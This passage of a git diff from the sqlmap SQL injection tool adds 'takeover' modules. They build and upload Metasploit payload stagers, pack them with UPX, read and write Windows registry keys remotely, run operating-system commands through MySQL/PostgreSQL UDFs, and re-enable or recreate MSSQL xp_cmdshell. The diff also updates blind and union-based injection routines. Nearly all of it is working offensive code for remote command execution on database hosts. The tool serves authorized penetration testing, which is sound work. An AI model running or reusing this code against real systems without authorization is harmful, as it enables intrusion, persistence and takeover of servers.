payloadSize = payloadSize.group(1) + + debugMsg = "the shellcode size is %s bytes" % payloadSize + logger.debug(debugMsg) + else: + raise sqlmapFilePathException, "failed to create the shellcode" + + self.__shellcodeFileP = open(self.__shellcodeFilePath, "rb") + self.__shellcodeString = self.__shellcodeFileP.read() + self.__shellcodeFileP.close() + + os.unlink(self.__shellcodeFilePath) + + hexStr = binascii.hexlify(self.__shellcodeString) + + for hexPair in range(0, len(hexStr), 2): + self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2] + + + def createMsfPayloadStager(self, initialize=True): + if initialize == True: + infoMsg = "" + else: + infoMsg = "re" + + infoMsg += "creating Metasploit Framework 3 payload stager" + + logger.info(infoMsg) + + self.__randStr = randomStr(lowercase=True) + + if kb.os == "Windows": + self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr) + else: + self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr) + + self.__exeFileP = open(self.exeFilePathLocal, "wb") + + if initialize == True: + self.__initVars() + + if self.payloadStr == None: + self.__prepareIngredients() + + self.__forgeMsfPayloadCmd() + + logger.debug("executing local command: %s" % self.__payloadCmd) + process = execute(self.__payloadCmd, shell=True, stdout=self.__exeFileP, stderr=PIPE) + + dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) + pollProcess(process) + payloadStderr = process.communicate()[1] + + if kb.os == "Windows": + payloadSize = re.search("size ([\d]+)", payloadStderr, re.I) + else: + payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) + + self.__exeFileP.close() + + os.chmod(self.exeFilePathLocal, stat.S_IRWXU) + + if payloadSize: + payloadSize = payloadSize.group(1) + exeSize = os.path.getsize(self.exeFilePathLocal) + packedSize = upx.pack(self.exeFilePathLocal) + debugMsg = "the encoded payload size is %s bytes, " % payloadSize + + if packedSize: + debugMsg += "as a compressed portable executable its size " + debugMsg += "is %d bytes, decompressed it " % packedSize + debugMsg += "was %s bytes large" % exeSize + else: + debugMsg += "as a portable executable its size is " + debugMsg += "%s bytes" % exeSize + + logger.debug(debugMsg) + else: + raise sqlmapFilePathException, "failed to create the payload stager" + + + def uploadMsfPayloadStager(self): + self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal)) + + logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote) + self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False) + + os.unlink(self.exeFilePathLocal) + + + def pwn(self): + self.__runMsfCli() + + if self.connectionStr.startswith("bind"): + self.__runMsfPayloadRemote() + + debugMsg = "Metasploit Framework 3 command line interface exited " + debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote) + logger.debug(debugMsg) + + + def smb(self): + self.__initVars() + self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True) + + if kb.dbms in ( "MySQL", "PostgreSQL" ): + self.uncPath = "\\\\\\\\%s\\\\%s" % (self.localIP, self.__randFile) + else: + self.uncPath = "\\\\%s\\%s" % (self.localIP, self.__randFile) + + self.__forgeMsfConsoleResource() + self.__forgeMsfConsoleCmd() + self.__runMsfConsole() + + debugMsg = "Metasploit Framework 3 console exited with return " + debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest) + logger.debug(debugMsg) + + os.unlink(self.resourceFile) + + + def bof(self): + self.__runMsfCli(exitfunc="seh") + + if self.connectionStr.startswith("bind"): + self.spHeapOverflow() + + debugMsg = "Metasploit Framework 3 command line interface exited " + debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow) + logger.debug(debugMsg) diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py new file mode 100644 index 000000000..62cebfc26 --- /dev/null +++ b/lib/takeover/registry.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import os + +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger + + +class Registry: + """ + This class defines methods to read and write Windows registry keys + """ + + def __initVars(self, regKey, regName, regType=None, regValue=None, parse=False): + self.__regKey = regKey + self.__regName = regName + self.__regType = regType + self.__regValue = regValue + + self.__randStr = randomStr(lowercase=True) + self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr) + self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr) + + if parse == True: + readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"') DO SET value=%%A\r\nECHO %value%\r\n" + else: + readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"" + + self.__batRead = ( + "@ECHO OFF\r\n", + readParse + ) + + self.__batAdd = ( + "@ECHO OFF\r\n", + "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regName, self.__regType, self.__regValue) + ) + + self.__batDel = ( + "@ECHO OFF\r\n", + "REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regName) + ) + + + def __execBatPathRemote(self): + if kb.dbms == "Microsoft SQL Server": + cmd = self.xpCmdshellForgeCmd(self.__batPathRemote) + else: + cmd = self.__batPathRemote + + self.execCmd(cmd) + + + def __createLocalBatchFile(self): + self.__batPathFp = open(self.__batPathLocal, "w") + + if self.__operation == "read": + lines = self.__batRead + elif self.__operation == "add": + lines = self.__batAdd + elif self.__operation == "delete": + lines = self.__batDel + + for line in lines: + self.__batPathFp.write(line) + + self.__batPathFp.close() + + + def __createRemoteBatchFile(self): + logger.debug("creating batch file '%s'" % self.__batPathRemote) + + self.__createLocalBatchFile() + self.writeFile(self.__batPathLocal, self.__batPathRemote, "text", False) + + os.unlink(self.__batPathLocal) + + + def readRegKey(self, regKey, regName, parse): + self.__operation = "read" + + self.__initVars(regKey, regName, parse=parse) + self.__createRemoteBatchFile() + + logger.debug("reading registry key '%s' name '%s'" % (regKey, regName)) + + return self.evalCmd(self.__batPathRemote) + + + def addRegKey(self, regKey, regName, regType, regValue): + self.__operation = "add" + + self.__initVars(regKey, regName, regType, regValue) + self.__createRemoteBatchFile() + + debugMsg = "adding registry key name '%s' " % self.__regName + debugMsg += "to registry key '%s'" % self.__regKey + logger.debug(debugMsg) + + self.__execBatPathRemote() + + + def delRegKey(self, regKey, regName): + self.__operation = "delete" + + self.__initVars(regKey, regName) + self.__createRemoteBatchFile() + + debugMsg = "deleting registry key name '%s' " % self.__regName + debugMsg += "from registry key '%s'" % self.__regKey + logger.debug(debugMsg) + + self.__execBatPathRemote() diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py new file mode 100644 index 000000000..f26edb29c --- /dev/null +++ b/lib/takeover/udf.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.convert import urlencode +from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.request import inject + + +class UDF: + """ + This class defines methods to deal with User-Defined Functions for + plugins. + """ + + def __init__(self): + self.createdUdf = set() + self.udfToCreate = set() + + + def udfExecCmd(self, cmd, silent=False): + cmd = urlencode(cmd, convall=True) + + inject.goStacked("SELECT sys_exec('%s')" % cmd, silent) + + + def udfEvalCmd(self, cmd): + cmd = urlencode(cmd, convall=True) + + inject.goStacked("INSERT INTO %s(%s) VALUES (sys_eval('%s'))" % (self.cmdTblName, self.tblField, cmd)) + output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False) + inject.goStacked("DELETE FROM %s" % self.cmdTblName) + + if isinstance(output, (list, tuple)): + output = output[0] + + if isinstance(output, (list, tuple)): + output = output[0] + + return output + + + def udfInit(self): + errMsg = "udfInit() method must be defined within the plugin" + raise sqlmapUnsupportedFeatureException, errMsg diff --git a/lib/takeover/upx.py b/lib/takeover/upx.py new file mode 100644 index 000000000..18bb21971 --- /dev/null +++ b/lib/takeover/upx.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import os +import sys +import time + +from subprocess import PIPE +from subprocess import STDOUT +from subprocess import Popen as execute + +from lib.core.common import dataToStdout +from lib.core.common import pollProcess +from lib.core.data import logger +from lib.core.data import paths +from lib.core.settings import PLATFORM + + +class UPX: + """ + This class defines methods to compress binary files with UPX (Ultimate + Packer for eXecutables). + + Reference: + * http://upx.sourceforge.net + """ + + def __initialize(self, srcFile, dstFile=None): + if "win" in PLATFORM: + self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH + elif "linux" in PLATFORM: + self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH + + self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile) + + if dstFile: + self.__upxCmd += " -o %s" % dstFile + + + def pack(self, srcFile, dstFile=None): + self.__initialize(srcFile, dstFile) + + logger.debug("executing local command: %s" % self.__upxCmd) + process = execute(self.__upxCmd, shell=True, stdout=PIPE, stderr=STDOUT) + + dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X")) + pollProcess(process) + upxStderr = process.communicate()[1] + + if upxStderr: + logger.warn("failed to compress the file") + + return None + else: + return os.path.getsize(srcFile) + + + def unpack(self, srcFile, dstFile=None): + pass + + + def verify(self, filePath): + pass + + +upx = UPX() diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py new file mode 100644 index 000000000..3a571d00d --- /dev/null +++ b/lib/takeover/xp_cmdshell.py @@ -0,0 +1,220 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.common import randomStr +from lib.core.common import readInput +from lib.core.convert import urlencode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.request import inject +from lib.techniques.blind.timebased import timeUse + + +class xp_cmdshell: + """ + This class defines methods to deal with Microsoft SQL Server + xp_cmdshell extended procedure for plugins. + """ + + def __init__(self): + self.xpCmdshellStr = "master..xp_cmdshell" + + + def __xpCmdshellCreate(self): + # TODO: double-check that this method works properly + cmd = "" + + if kb.dbmsVersion[0] in ( "2005", "2008" ): + logger.debug("activating sp_OACreate") + + cmd += "EXEC master..sp_configure 'show advanced options', 1; " + cmd += "RECONFIGURE WITH OVERRIDE; " + cmd += "EXEC master..sp_configure 'ole automation procedures', 1; " + cmd += "RECONFIGURE WITH OVERRIDE; " + self.xpCmdshellExecCmd(cmd) + + self.__randStr = randomStr(lowercase=True) + + cmd += "declare @%s nvarchar(999); " % self.__randStr + cmd += "set @%s='" % self.__randStr + cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int " + cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT " + cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 " + cmd += "EXEC sp_OADestroy @ID'; " + cmd += "EXEC master..sp_executesql @%s;" % self.__randStr + + if kb.dbmsVersion[0] in ( "2005", "2008" ): + cmd += " RECONFIGURE WITH OVERRIDE;" + + self.xpCmdshellExecCmd(cmd) + + + def __xpCmdshellConfigure2005(self, mode): + debugMsg = "configuring xp_cmdshell using sp_configure " + debugMsg += "stored procedure" + logger.debug(debugMsg) + + cmd = "EXEC master..sp_configure 'show advanced options', 1; " + cmd += "RECONFIGURE WITH OVERRIDE; " + cmd += "EXEC master..sp_configure 'xp_cmdshell', %d " % mode + cmd += "RECONFIGURE WITH OVERRIDE; " + cmd += "EXEC sp_configure 'show advanced options', 0" + + return cmd + + + def __xpCmdshellConfigure2000(self, mode): + debugMsg = "configuring xp_cmdshell using sp_addextendedproc " + debugMsg += "stored procedure" + logger.debug(debugMsg) + + if mode == 1: + cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', " + cmd += "@dllname='xplog70.dll'" + else: + cmd = "EXEC master..sp_dropextendedproc xp_cmdshell" + + return cmd + + + def __xpCmdshellConfigure(self, mode): + if kb.dbmsVersion[0] in ( "2005", "2008" ): + cmd = self.__xpCmdshellConfigure2005(mode) + else: + cmd = self.__xpCmdshellConfigure2000(mode) + + self.xpCmdshellExecCmd(cmd) + + + def __xpCmdshellCheck(self): + query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2)) + duration = timeUse(query) + + if duration >= conf.timeSec: + return True + else: + return False + + + def xpCmdshellForgeCmd(self, cmd): + return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd) + + + def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False): + if forgeCmd == True: + cmd = self.xpCmdshellForgeCmd(cmd) + + cmd = urlencode(cmd, convall=True) + + inject.goStacked(cmd, silent) + + + def xpCmdshellEvalCmd(self, cmd): + self.getRemoteTempPath() + + tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) + cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile)) + + self.xpCmdshellExecCmd(cmd) + self.xpCmdshellExecCmd("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10))) + + cmd = self.xpCmdshellForgeCmd("del /F %s" % tmpFile.replace("/", "\\")) + self.xpCmdshellExecCmd(cmd) + + output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False) + self.xpCmdshellExecCmd("DELETE FROM %s" % self.cmdTblName) + + if isinstance(output, (list, tuple)): + output = output[0] + + if isinstance(output, (list, tuple)): + output = output[0] + + return output + + + def xpCmdshellInit(self, mandatory=True): + self.__xpCmdshellAvailable = False + + infoMsg = "checking if xp_cmdshell extended procedure is " + infoMsg += "available, wait.." + logger.info(infoMsg) + + result = self.__xpCmdshellCheck() + + if result == True: + logger.info("xp_cmdshell extended procedure is available") + self.__xpCmdshellAvailable = True + + else: + message = "xp_cmdshell extended procedure does not seem to " + message += "be available. Do you want sqlmap to try to " + message += "re-enable it? [Y/n] " + choice = readInput(message, default="Y") + + if not choice or choice in ("y", "Y"): + self.__xpCmdshellConfigure(1) + + if self.__xpCmdshellCheck() == True: + logger.info("xp_cmdshell re-enabled successfully") + self.__xpCmdshellAvailable = True + + else: + logger.warn("xp_cmdshell re-enabling failed") + + logger.info("creating xp_cmdshell with sp_OACreate") + self.__xpCmdshellConfigure(0) + self.__xpCmdshellCreate() + + if self.__xpCmdshellCheck() == True: + logger.info("xp_cmdshell created successfully") + self.__xpCmdshellAvailable = True + + else: + warnMsg = "xp_cmdshell creation failed, probably " + warnMsg += "because sp_OACreate is disabled" + logger.warn(warnMsg) + + if self.__xpCmdshellAvailable == False and mandatory == False: + warnMsg = "unable to get xp_cmdshell working, sqlmap will " + warnMsg += "try to proceed without it" + logger.warn(warnMsg) + + self.envInitialized = True + + elif self.__xpCmdshellAvailable == False: + errMsg = "unable to proceed without xp_cmdshell" + raise sqlmapUnsupportedFeatureException, errMsg + + self.envInitialized = True + + debugMsg = "creating a support table to write commands standard " + debugMsg += "output to" + logger.debug(debugMsg) + + self.createSupportTbl(self.cmdTblName, self.tblField, "text") diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index 8bff2cf7d..a22b4f873 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index 8bff2cf7d..a22b4f873 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 2cc897920..f667c5354 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -31,6 +31,7 @@ import traceback from lib.core.agent import agent from lib.core.common import dataToSessionFile from lib.core.common import dataToStdout +from lib.core.common import getCharset from lib.core.common import replaceNewlineTabs from lib.core.data import conf from lib.core.data import kb @@ -44,25 +45,27 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request -def bisection(payload, expression, length=None): +def bisection(payload, expression, length=None, charsetType=None): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ - partialValue = "" - finalValue = "" + partialValue = "" + finalValue = "" + + asciiTbl = getCharset(charsetType) if kb.dbmsDetected: - _, _, _, _, _, fieldToCastStr = agent.getFields(expression) - nulledCastedField = agent.nullAndCastField(fieldToCastStr) - expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) - expressionUnescaped = unescaper.unescape(expressionReplaced) + _, _, _, _, _, _, fieldToCastStr = agent.getFields(expression) + nulledCastedField = agent.nullAndCastField(fieldToCastStr) + expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) + expressionUnescaped = unescaper.unescape(expressionReplaced) else: - expressionUnescaped = unescaper.unescape(expression) + expressionUnescaped = unescaper.unescape(expression) - infoMsg = "query: %s" % expressionUnescaped - logger.info(infoMsg) + debugMsg = "query: %s" % expressionUnescaped + logger.debug(debugMsg) if length and not isinstance(length, int) and length.isdigit(): length = int(length) @@ -91,23 +94,25 @@ def bisection(payload, expression, length=None): queriesCount = [0] # As list to deal with nested scoping rules - def getChar(idx): - maxValue = 127 + def getChar(idx, asciiTbl=asciiTbl): + maxValue = asciiTbl[len(asciiTbl)-1] minValue = 0 - while (maxValue - minValue) != 1: + while len(asciiTbl) != 1: queriesCount[0] += 1 - limit = ((maxValue + minValue) / 2) - forgedPayload = payload % (expressionUnescaped, idx, limit) + position = (len(asciiTbl) / 2) + posValue = asciiTbl[position] + forgedPayload = payload % (expressionUnescaped, idx, posValue) result = Request.queryPage(forgedPayload) if result == True: - minValue = limit + minValue = posValue + asciiTbl = asciiTbl[position:] else: - maxValue = limit + maxValue = posValue + asciiTbl = asciiTbl[:position] - if (maxValue - minValue) == 1: - # NOTE: this first condition should never occur + if len(asciiTbl) == 1: if maxValue == 1: return None else: @@ -148,7 +153,7 @@ def bisection(payload, expression, length=None): idxlock.release() charStart = time.time() - val = getChar(curidx) + val = getChar(curidx) if val == None: raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length) @@ -226,9 +231,9 @@ def bisection(payload, expression, length=None): index = 0 while True: - index += 1 + index += 1 charStart = time.time() - val = getChar(index) + val = getChar(index, asciiTbl) if val == None: break diff --git a/lib/techniques/blind/timebased.py b/lib/techniques/blind/timebased.py index 96d13d85b..fa06f4d54 100644 --- a/lib/techniques/blind/timebased.py +++ b/lib/techniques/blind/timebased.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -27,10 +27,10 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import time from lib.core.agent import agent +from lib.core.common import getDelayQuery +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.data import queries -from lib.core.settings import SECONDS from lib.request import inject from lib.request.connect import Connect as Request @@ -40,8 +40,7 @@ def timeTest(): infoMsg += "'%s' with AND condition syntax" % kb.injParameter logger.info(infoMsg) - timeQuery = queries[kb.dbms].timedelay % SECONDS - + timeQuery = getDelayQuery() query = agent.prefixQuery(" AND %s" % timeQuery) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) @@ -49,7 +48,7 @@ def timeTest(): _ = Request.queryPage(payload) duration = int(time.time() - start) - if duration >= SECONDS: + if duration >= conf.timeSec: infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter infoMsg += "based blind sql injection with AND condition syntax" logger.info(infoMsg) @@ -69,7 +68,7 @@ def timeTest(): payload, _ = inject.goStacked(timeQuery) duration = int(time.time() - start) - if duration >= SECONDS: + if duration >= conf.timeSec: infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter infoMsg += "based blind sql injection with stacked query syntax" logger.info(infoMsg) @@ -83,3 +82,11 @@ def timeTest(): kb.timeTest = False return kb.timeTest + + +def timeUse(query): + start = time.time() + _, _ = inject.goStacked(query) + duration = int(time.time() - start) + + return duration diff --git a/lib/techniques/inband/__init__.py b/lib/techniques/inband/__init__.py index 8bff2cf7d..a22b4f873 100644 --- a/lib/techniques/inband/__init__.py +++ b/lib/techniques/inband/__init__.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/techniques/inband/union/__init__.py b/lib/techniques/inband/union/__init__.py index 8bff2cf7d..a22b4f873 100644 --- a/lib/techniques/inband/union/__init__.py +++ b/lib/techniques/inband/union/__init__.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py index 2617be3b6..770aa3b91 100644 --- a/lib/techniques/inband/union/test.py +++ b/lib/techniques/inband/union/test.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -25,14 +25,103 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA from lib.core.agent import agent +from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.session import setUnion +from lib.core.unescaper import unescaper +from lib.parse.html import htmlParser from lib.request.connect import Connect as Request +def __unionPosition(negative=False, falseCond=False): + if negative or falseCond: + negLogMsg = "partial (single entry)" + else: + negLogMsg = "full" + + infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg + infoMsg += "'%s'" % kb.injParameter + + if negative: + infoMsg += " with negative parameter value" + elif falseCond: + infoMsg += " by appending a false condition after the parameter value" + + logger.info(infoMsg) + + # For each column of the table (# of NULL) perform a request using + # the UNION ALL SELECT statement to test it the target url is + # affected by an exploitable inband SQL injection vulnerability + for exprPosition in range(0, kb.unionCount): + # Prepare expression with delimiters + randQuery = randomStr() + randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) + randQueryUnescaped = unescaper.unescape(randQueryProcessed) + + # Forge the inband SQL injection request + query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition) + payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond) + + # Perform the request + resultPage, _ = Request.queryPage(payload, content=True) + + # We have to assure that the randQuery value is not within the + # HTML code of the result page because, for instance, it is there + # when the query is wrong and the back-end DBMS is Microsoft SQL + # server + htmlParsed = htmlParser(resultPage) + + if randQuery in resultPage and not htmlParsed: + setUnion(position=exprPosition) + + break + + if isinstance(kb.unionPosition, int): + infoMsg = "the target url is affected by an exploitable " + infoMsg += "%s inband sql injection vulnerability" % negLogMsg + logger.info(infoMsg) + else: + warnMsg = "the target url is not affected by an exploitable " + warnMsg += "%s inband sql injection vulnerability" % negLogMsg + + if negLogMsg == "partial": + warnMsg += ", sqlmap will retrieve the query output " + warnMsg += "through blind sql injection technique" + + logger.warn(warnMsg) + + +def __unionConfirm(): + # Confirm the inband SQL injection and get the exact column + # position + if not isinstance(kb.unionPosition, int): + __unionPosition() + + # Assure that the above function found the exploitable full inband + # SQL injection position + if not isinstance(kb.unionPosition, int): + __unionPosition(falseCond=True) + + # Assure that the above function found the exploitable partial + # (single entry) inband SQL injection position by appending + # a false condition after the parameter value + if not isinstance(kb.unionPosition, int): + __unionPosition(negative=True) + + # Assure that the above function found the exploitable partial + # (single entry) inband SQL injection position with negative + # parameter value + if not isinstance(kb.unionPosition, int): + return + else: + conf.paramNegative = True + else: + conf.paramFalseCond = True + + def __forgeUserFriendlyValue(payload): value = "" @@ -119,9 +208,9 @@ def unionTest(): else: technique = "NULL bruteforcing" - logMsg = "testing inband sql injection on parameter " - logMsg += "'%s' with %s technique" % (kb.injParameter, technique) - logger.info(logMsg) + infoMsg = "testing inband sql injection on parameter " + infoMsg += "'%s' with %s technique" % (kb.injParameter, technique) + logger.info(infoMsg) value = "" columns = None @@ -138,9 +227,7 @@ def unionTest(): break if kb.unionCount: - logMsg = "the target url could be affected by an " - logMsg += "inband sql injection vulnerability" - logger.info(logMsg) + __unionConfirm() else: warnMsg = "the target url is not affected by an " warnMsg += "inband sql injection vulnerability" diff --git a/lib/techniques/inband/union/use.py b/lib/techniques/inband/union/use.py index 19f830a95..dc06b66bc 100644 --- a/lib/techniques/inband/union/use.py +++ b/lib/techniques/inband/union/use.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -29,7 +29,6 @@ import time from lib.core.agent import agent from lib.core.common import parseUnionPage -from lib.core.common import randomStr from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb @@ -39,78 +38,15 @@ from lib.core.data import temp from lib.core.exception import sqlmapUnsupportedDBMSException from lib.core.session import setUnion from lib.core.unescaper import unescaper -from lib.parse.html import htmlParser from lib.request.connect import Connect as Request from lib.techniques.inband.union.test import unionTest from lib.utils.resume import resume -reqCount = 0 +reqCount = 0 -def __unionPosition(expression, negative=False): - global reqCount - - if negative: - negLogMsg = "partial" - 